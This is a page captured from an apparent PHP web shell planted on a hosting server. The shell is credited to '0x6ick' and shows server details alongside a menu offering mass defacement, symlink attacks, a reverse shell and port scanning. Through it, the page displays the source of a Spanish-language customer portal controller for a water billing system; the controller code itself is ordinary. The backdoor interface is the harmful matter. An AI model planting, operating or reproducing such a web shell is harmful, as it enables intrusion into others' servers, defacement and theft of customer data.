Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
controllers
/
Viewing: ClientePortalController.php
<?php class ClientePortalController extends BaseController { private function requireCustomerId(): int { $cid = (int)($_SESSION['user']['customer_id'] ?? 0); if ($cid <= 0) { http_response_code(403); echo '403 Prohibido'; exit; } return $cid; } /** * Dashboard del cliente */ public function index(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $pdo = (new Database())->getConnection(); if (!$pdo) { $this->renderView('cliente/dashboard', [ 'error' => 'No hay conexión a la base de datos', 'pageTitle' => 'Mi Panel', ]); return; } $startMonth = (new DateTime('first day of this month 00:00:00')); $endMonth = (new DateTime('last day of this month 23:59:59')); // Estado de conexión del cliente $stmt = $pdo->prepare("SELECT status FROM customers WHERE id = :id LIMIT 1"); $stmt->execute([':id' => $cid]); $connectionStatus = (string)($stmt->fetchColumn() ?: 'Activo'); // Facturas abiertas: usar helpers centralizados (respetan configuración) $pendingInvoices = Invoice::countOpenInvoicesByCustomer($cid); $debtTotal = Invoice::openBalanceByCustomer($cid); // Última factura abierta $stmt = $pdo->prepare("SELECT * FROM invoices WHERE customer_id = :cid AND status IN ('Pendiente','Parcial','Vencida') ORDER BY due_date DESC, issue_date DESC, id DESC LIMIT 1"); $stmt->execute([':cid' => $cid]); $lastOpenInvoice = $stmt->fetch(PDO::FETCH_ASSOC) ?: null; // Último consumo registrado $stmt = $pdo->prepare("SELECT consumption_m3 FROM readings WHERE customer_id = :cid ORDER BY reading_date DESC, id DESC LIMIT 1"); $stmt->execute([':cid' => $cid]); $lastConsumption = (float)($stmt->fetchColumn() ?: 0.0); // Pagos del mes (cliente) $stmt = $pdo->prepare("SELECT COUNT(*) AS c, COALESCE(SUM(amount),0) AS s FROM payments WHERE customer_id = :cid AND payment_date BETWEEN :d1 AND :d2"); $stmt->execute([ ':cid' => $cid, ':d1' => $startMonth->format('Y-m-d H:i:s'), ':d2' => $endMonth->format('Y-m-d H:i:s'), ]); $row = $stmt->fetch(); $paymentsCount = (int)($row['c'] ?? 0); $paymentsAmount = (float)($row['s'] ?? 0.0); // Consumo del mes (cliente) $stmt = $pdo->prepare("SELECT COALESCE(SUM(consumption_m3),0) FROM readings WHERE customer_id = :cid AND reading_date BETWEEN :d1 AND :d2"); $stmt->execute([ ':cid' => $cid, ':d1' => $startMonth->format('Y-m-d'), ':d2' => $endMonth->format('Y-m-d'), ]); $consumptionMonth = (float)$stmt->fetchColumn(); // Consumo últimos 12 meses (cliente) para gráfico $from12 = (new DateTime('first day of -11 months'))->format('Y-m-01'); $q = $pdo->prepare("SELECT DATE_FORMAT(reading_date, '%Y-%m') ym, SUM(consumption_m3) total FROM readings WHERE customer_id = :cid AND reading_date >= :from GROUP BY ym ORDER BY ym ASC"); $q->execute([':cid' => $cid, ':from' => $from12]); $agg = []; foreach ($q->fetchAll() as $r) { $agg[$r['ym']] = (float)$r['total']; } $chartLabels = []; $chartValues = []; for ($i = 11; $i >= 0; $i--) { $dt = new DateTime("first day of -{$i} months"); $ym = $dt->format('Y-m'); $chartLabels[] = $dt->format('M Y'); $chartValues[] = isset($agg[$ym]) ? (float)$agg[$ym] : 0.0; } $this->renderView('cliente/dashboard', [ 'pageTitle' => 'Mi Panel', 'pendingInvoices' => $pendingInvoices, 'debtTotal' => $debtTotal, 'paymentsCount' => $paymentsCount, 'paymentsAmount' => $paymentsAmount, 'consumptionMonth' => $consumptionMonth, 'connectionStatus' => $connectionStatus, 'lastOpenInvoice' => $lastOpenInvoice, 'lastConsumption' => $lastConsumption, 'chartLabels' => $chartLabels, 'chartValues' => $chartValues, ]); } /** * Listado de facturas del cliente */ public function facturas(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $filters = [ 'q' => trim($_GET['q'] ?? ''), 'status' => $_GET['status'] ?? '', 'period_start' => $_GET['period_start'] ?? '', 'period_end' => $_GET['period_end'] ?? '', 'issue_from' => $_GET['issue_from'] ?? '', 'issue_to' => $_GET['issue_to'] ?? '', 'customer_id' => $cid, ]; $page = max(1, (int)($_GET['page'] ?? 1)); $perPage = max(1, min(100, (int)($_GET['perPage'] ?? 15))); $result = Invoice::getAll($filters, $page, $perPage); $items = $result['items'] ?? []; $total = (int)($result['total'] ?? 0); $lastPage = (int)($result['lastPage'] ?? 1); $statuses = ['Pendiente','Parcial','Vencida','Pagado','Anulada']; $this->renderView('cliente/facturas', [ 'pageTitle' => 'Mis Facturas', 'items' => $items, 'total' => $total, 'page' => $page, 'lastPage' => $lastPage, 'perPage' => $perPage, 'filters' => $filters, 'statuses' => $statuses, ]); } /** * Historial de pagos del cliente */ public function pagos(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $filters = [ 'q' => trim($_GET['q'] ?? ''), 'method' => $_GET['method'] ?? '', 'date_from' => $_GET['date_from'] ?? '', 'date_to' => $_GET['date_to'] ?? '', 'customer_id' => $cid, ]; $page = max(1, (int)($_GET['page'] ?? 1)); $perPage = max(1, min(100, (int)($_GET['perPage'] ?? 15))); $result = Payment::getAll($filters, $page, $perPage); $items = $result['items'] ?? []; $total = (int)($result['total'] ?? 0); $lastPage = (int)($result['lastPage'] ?? 1); $methods = ['Efectivo','Transferencia','POS','Cheque','Otro']; $this->renderView('cliente/pagos', [ 'pageTitle' => 'Mis Pagos', 'items' => $items, 'total' => $total, 'page' => $page, 'lastPage' => $lastPage, 'perPage' => $perPage, 'filters' => $filters, 'methods' => $methods, ]); } /** * Gráfico de consumo histórico del cliente */ public function consumo(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $pdo = (new Database())->getConnection(); $from12 = (new DateTime('first day of -11 months'))->format('Y-m-01'); $q = $pdo->prepare("SELECT DATE_FORMAT(reading_date, '%Y-%m') ym, SUM(consumption_m3) total FROM readings WHERE customer_id = :cid AND reading_date >= :from GROUP BY ym ORDER BY ym ASC"); $q->execute([':cid' => $cid, ':from' => $from12]); $agg = []; foreach ($q->fetchAll() as $r) { $agg[$r['ym']] = (float)$r['total']; } $chartLabels = []; $chartValues = []; for ($i = 11; $i >= 0; $i--) { $dt = new DateTime("first day of -{$i} months"); $ym = $dt->format('Y-m'); $chartLabels[] = $dt->format('M Y'); $chartValues[] = isset($agg[$ym]) ? (float)$agg[$ym] : 0.0; } $avgConsumption = count($chartValues) ? array_sum($chartValues) / count($chartValues) : 0.0; $maxConsumption = count($chartValues) ? max($chartValues) : 0.0; // Lecturas recientes (últimas 10) $stmt = $pdo->prepare("SELECT * FROM readings WHERE customer_id = :cid ORDER BY reading_date DESC, id DESC LIMIT 10"); $stmt->execute([':cid' => $cid]); $readings = $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; $this->renderView('cliente/consumo', [ 'pageTitle' => 'Consumo Histórico', 'chartLabels' => $chartLabels, 'chartValues' => $chartValues, 'avgConsumption' => $avgConsumption, 'maxConsumption' => $maxConsumption, 'readings' => $readings, ]); } public function mensajes(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $tickets = CustomerTicket::getByCustomer($cid); $this->renderView('cliente/mensajes', [ 'pageTitle' => 'Mis Reportes', 'tickets' => $tickets, 'announcements' => GlobalAnnouncement::getPublishedForClients(), 'csrf' => $csrf, ]); } public function mensajeShow(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $id = (int)($_GET['id'] ?? 0); if ($id <= 0) { http_response_code(400); echo 'ID inválido'; return; } if (!CustomerTicket::belongsToCustomer($id, $cid)) { http_response_code(403); echo '403 Prohibido'; return; } $ticket = CustomerTicket::findWithCustomer($id); if (!$ticket) { http_response_code(404); echo 'Ticket no encontrado'; return; } $messages = CustomerTicket::getMessages($id); $this->renderView('cliente/mensajes_show', [ 'pageTitle' => 'Reporte: ' . ($ticket['subject'] ?? ('#' . $ticket['id'])), 'ticket' => $ticket, 'messages' => $messages, 'csrf' => $csrf, ]); } public function mensajeStore(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('cliente.mensajes'); } if (!$this->validateCsrf()) { $this->redirectWithMessage('cliente.mensajes', 'error', 'Sesión inválida. Intenta nuevamente.'); } $cid = $this->requireCustomerId(); $subject = trim((string)($_POST['subject'] ?? '')); $type = (string)($_POST['type'] ?? 'Averia'); $body = trim((string)($_POST['body'] ?? '')); $errors = []; if ($subject === '') { $errors[] = 'El asunto es obligatorio.'; } if (mb_strlen($subject) > 150) { $errors[] = 'El asunto no puede exceder 150 caracteres.'; } $allowedTypes = ['Averia','Queja','Consulta','Otro']; if (!in_array($type, $allowedTypes, true)) { $type = 'Averia'; } if ($body === '') { $errors[] = 'La descripción es obligatoria.'; } if (mb_strlen($body) > 4000) { $errors[] = 'La descripción no puede exceder 4000 caracteres.'; } if (!empty($errors)) { setFlashMessage('error', implode("\n", $errors)); header('Location: ' . BASE_URL . '?route=cliente.mensajes'); exit; } try { $ticketId = CustomerTicket::create($cid, $subject, $type, 'Abierto'); CustomerTicket::addMessage($ticketId, 'CLIENTE', null, $body); setFlashMessage('success', 'Tu reporte ha sido enviado.'); header('Location: ' . BASE_URL . '?route=cliente.mensajes.show&id=' . $ticketId); exit; } catch (Throwable $e) { setFlashMessage('error', 'No se pudo enviar el reporte.'); header('Location: ' . BASE_URL . '?route=cliente.mensajes'); exit; } } public function mensajeReply(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('cliente.mensajes'); } if (!$this->validateCsrf()) { $this->redirectWithMessage('cliente.mensajes', 'error', 'Sesión inválida. Intenta nuevamente.'); } $cid = $this->requireCustomerId(); $ticketId = (int)($_POST['ticket_id'] ?? 0); if ($ticketId <= 0 || !CustomerTicket::belongsToCustomer($ticketId, $cid)) { $this->redirectWithMessage('cliente.mensajes', 'error', 'Ticket inválido.'); } $body = trim((string)($_POST['body'] ?? '')); if ($body === '') { setFlashMessage('error', 'El mensaje no puede estar vacío.'); header('Location: ' . BASE_URL . '?route=cliente.mensajes.show&id=' . $ticketId); exit; } if (mb_strlen($body) > 4000) { setFlashMessage('error', 'El mensaje no puede exceder 4000 caracteres.'); header('Location: ' . BASE_URL . '?route=cliente.mensajes.show&id=' . $ticketId); exit; } try { CustomerTicket::addMessage($ticketId, 'CLIENTE', null, $body); setFlashMessage('success', 'Mensaje enviado.'); } catch (Throwable $e) { setFlashMessage('error', 'No se pudo enviar el mensaje.'); } header('Location: ' . BASE_URL . '?route=cliente.mensajes.show&id=' . $ticketId); exit; } /** * Perfil del cliente */ public function perfil(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $pdo = (new Database())->getConnection(); $stmt = $pdo->prepare("SELECT * FROM customers WHERE id = :id LIMIT 1"); $stmt->execute([':id' => $cid]); $customer = $stmt->fetch() ?: []; $meters = Meter::getByCustomer($cid); $this->renderView('cliente/perfil', [ 'pageTitle' => 'Mi Perfil', 'customer' => $customer, 'meters' => $meters, 'csrf' => $csrf, ]); } /** * Actualiza datos básicos del perfil del cliente (nombre, dirección, teléfono) */ public function updatePerfil(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('cliente.perfil'); } if (!$this->validateCsrf()) { $this->redirectWithMessage('cliente.perfil', 'error', 'Sesión inválida. Intenta nuevamente.'); } $cid = $this->requireCustomerId(); $name = trim((string)($_POST['name'] ?? '')); $address = trim((string)($_POST['address'] ?? '')); $phone = trim((string)($_POST['phone'] ?? '')); $email = trim((string)($_POST['email'] ?? '')); if ($name === '') { $this->redirectWithMessage('cliente.perfil', 'error', 'El nombre es obligatorio.'); } // Validar email si viene if ($email !== '' && !filter_var($email, FILTER_VALIDATE_EMAIL)) { $this->redirectWithMessage('cliente.perfil', 'error', 'El correo electrónico no es válido.'); } try { $pdo = (new Database())->getConnection(); if (!$pdo) { $this->redirectWithMessage('cliente.perfil', 'error', 'No hay conexión a la base de datos.'); } // Traer email actual del cliente $cur = $pdo->prepare("SELECT email FROM customers WHERE id = :id LIMIT 1"); $cur->execute([':id' => $cid]); $oldEmail = (string)($cur->fetchColumn() ?: ''); $newEmail = ($email !== '' ? $email : $oldEmail); // Si el email cambió y no está vacío, verificar unicidad en users antes de actualizar customers if ($newEmail !== $oldEmail && $newEmail !== '') { $uid = (int)($_SESSION['user']['id'] ?? 0); $chk = $pdo->prepare("SELECT COUNT(*) FROM users WHERE email = :email AND id <> :id"); $chk->execute([':email' => $newEmail, ':id' => $uid]); if ((int)$chk->fetchColumn() > 0) { $this->redirectWithMessage('cliente.perfil', 'error', 'El correo ya está en uso por otro usuario.'); } } // Actualizar datos del cliente $stmt = $pdo->prepare("UPDATE customers SET name = :name, address = :address, phone = :phone, email = :email WHERE id = :id"); $stmt->execute([ ':name' => $name, ':address' => $address, ':phone' => $phone, ':email' => $newEmail, ':id' => $cid, ]); // Si el email cambió, sincronizar con la tabla users if ($newEmail !== $oldEmail && $newEmail !== '') { $uid = (int)($_SESSION['user']['id'] ?? 0); if ($uid > 0) { $upd = $pdo->prepare("UPDATE users SET email = :email WHERE id = :id"); $upd->execute([':email' => $newEmail, ':id' => $uid]); $_SESSION['user']['email'] = $newEmail; } } // Actualizar el nombre mostrado en la sesión if (!empty($_SESSION['user'])) { $_SESSION['user']['name'] = $name; } // Mantener sincronizada la sesión del portal del cliente if (!empty($_SESSION['client_user'])) { $_SESSION['client_user']['name'] = $name; if ($newEmail !== '') { $_SESSION['client_user']['email'] = $newEmail; } } $this->redirectWithMessage('cliente.perfil', 'success', 'Perfil actualizado correctamente.'); } catch (Throwable $e) { $this->redirectWithMessage('cliente.perfil', 'error', 'No se pudo actualizar el perfil.'); } } /** * Actualiza la contraseña del usuario autenticado (tabla users) */ public function updatePassword(): void { if ($_SERVER['REQUEST_METHOD'] !== 'POST') { redirect('cliente.perfil'); } if (!$this->validateCsrf()) { $this->redirectWithMessage('cliente.perfil', 'error', 'Sesión inválida. Intenta nuevamente.'); } $uid = (int)($_SESSION['user']['id'] ?? 0); if ($uid <= 0) { $this->redirectWithMessage('cliente.perfil', 'error', 'Usuario inválido.'); } $current = (string)($_POST['current_password'] ?? ''); $new = (string)($_POST['new_password'] ?? ''); $confirm = (string)($_POST['new_password_confirm'] ?? ''); if ($current === '' || $new === '' || $confirm === '') { $this->redirectWithMessage('cliente.perfil', 'error', 'Completa todos los campos de contraseña.'); } if ($new !== $confirm) { $this->redirectWithMessage('cliente.perfil', 'error', 'La confirmación de la nueva contraseña no coincide.'); } if (strlen($new) < 8) { $this->redirectWithMessage('cliente.perfil', 'error', 'La nueva contraseña debe tener al menos 8 caracteres.'); } try { $pdo = (new Database())->getConnection(); if (!$pdo) { $this->redirectWithMessage('cliente.perfil', 'error', 'No hay conexión a la base de datos.'); } // Verificar contraseña actual $stmt = $pdo->prepare("SELECT password_hash FROM users WHERE id = :id LIMIT 1"); $stmt->execute([':id' => $uid]); $hash = (string)($stmt->fetchColumn() ?: ''); if (!$hash || !password_verify($current, $hash)) { $this->redirectWithMessage('cliente.perfil', 'error', 'La contraseña actual es incorrecta.'); } // Actualizar nueva contraseña $newHash = password_hash($new, PASSWORD_BCRYPT); $up = $pdo->prepare("UPDATE users SET password_hash = :ph WHERE id = :id"); $up->execute([':ph' => $newHash, ':id' => $uid]); $this->redirectWithMessage('cliente.perfil', 'success', 'Tu contraseña ha sido actualizada.'); } catch (Throwable $e) { $this->redirectWithMessage('cliente.perfil', 'error', 'No se pudo actualizar la contraseña.'); } } /** * Detalle de factura (vista del cliente) */ public function facturaShow(): void { $csrf = $this->generateCsrf(); $cid = $this->requireCustomerId(); $id = (int)($_GET['id'] ?? 0); if ($id <= 0) { http_response_code(400); echo 'ID inválido'; return; } $invoice = Invoice::findById($id); if (!$invoice) { http_response_code(404); echo 'Factura no encontrada'; return; } // Asegurar que la factura pertenezca al cliente autenticado if ((int)($invoice['customer_id'] ?? 0) !== $cid) { http_response_code(403); echo '403 Prohibido'; return; } $openInvoicesCount = Invoice::countOpenInvoicesByCustomer($cid); $openBalance = Invoice::openBalanceByCustomer($cid); $this->renderView('cliente/factura_show', [ 'pageTitle' => 'Factura ' . ($invoice['invoice_number'] ?? ('#' . $invoice['id'])), 'invoice' => $invoice, 'openInvoicesCount' => $openInvoicesCount, 'openBalance' => $openBalance, 'csrf' => $csrf, ]); } }
Coded With 💗 by
0x6ick